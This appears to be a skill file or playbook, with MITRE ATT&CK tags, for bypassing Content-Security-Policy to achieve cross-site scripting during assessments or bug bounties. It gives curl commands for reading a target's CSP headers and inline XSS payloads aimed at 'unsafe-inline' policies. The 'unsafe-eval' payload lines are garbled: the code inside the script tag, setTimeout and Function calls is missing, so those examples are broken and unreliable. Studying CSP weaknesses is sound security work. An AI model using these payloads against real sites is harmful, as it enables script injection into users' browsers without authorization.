performing-content-security-policy-bypass

name	performing-content-security-policy-bypass
description	Analyze Content-Security-Policy headers and bypass them to achieve cross-site scripting by exploiting unsafe-inline/unsafe-eval, whitelisted JSONP endpoints, base-uri and form-action gaps, and nonce/hash weaknesses, then exfiltrate data even without script-src control. Use during web application security assessments or bug bounty hunting when XSS is found but blocked by CSP, or when auditing CSP header configuration for weaknesses.
domain	cybersecurity
subdomain	web-application-security
tags	["csp-bypass","content-security-policy","xss","script-injection","nonce-bypass","jsonp","policy-misconfiguration"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"]
mitre_attack	["T1190","T1059.007","T1505.003","T1083","T1055"]

Performing Content Security Policy Bypass

When to Use

• When XSS is found but execution is blocked by Content Security Policy
• During web application security assessments to evaluate CSP effectiveness
• When testing the robustness of CSP against known bypass techniques
• During bug bounty hunting where CSP prevents direct XSS exploitation
• When auditing CSP header configuration for security weaknesses

Prerequisites

• Burp Suite for intercepting responses and analyzing CSP headers
• CSP Evaluator (Google) for automated policy analysis
• Understanding of CSP directives (script-src, default-src, style-src, etc.)
• Knowledge of CSP bypass techniques (JSONP, base-uri, object-src)
• Browser developer tools for CSP violation monitoring
• Collection of whitelisted domain JSONP endpoints

Workflow

Step 1 — Analyze the CSP Policy

# Extract CSP from response headers
curl -sI http://target.com | grep -i "content-security-policy"

# Check for CSP in meta tags
curl -s http://target.com | grep -i "content-security-policy"

# Analyze CSP with Google CSP Evaluator
# Visit: https://csp-evaluator.withgoogle.com/
# Paste the CSP policy for automated analysis

# Check for report-only mode (not enforced)
curl -sI http://target.com | grep -i "content-security-policy-report-only"
# If only report-only exists, CSP is NOT enforced - XSS works directly

# Parse directive values
# Example CSP:
# script-src 'self' 'unsafe-inline' https://cdn.example.com;
# default-src 'self'; style-src 'self' 'unsafe-inline';
# img-src *; connect-src 'self'

Step 2 — Exploit unsafe-inline and unsafe-eval

# If script-src includes 'unsafe-inline':
# CSP is effectively bypassed for inline scripts
<script>alert(document.domain)</script>
<img src=x onerror="alert(1)">

# If script-src includes 'unsafe-eval':
# eval() and related functions work
<script>()</script>
<script>setTimeout(,0)</script>
<script>new Function()()</script>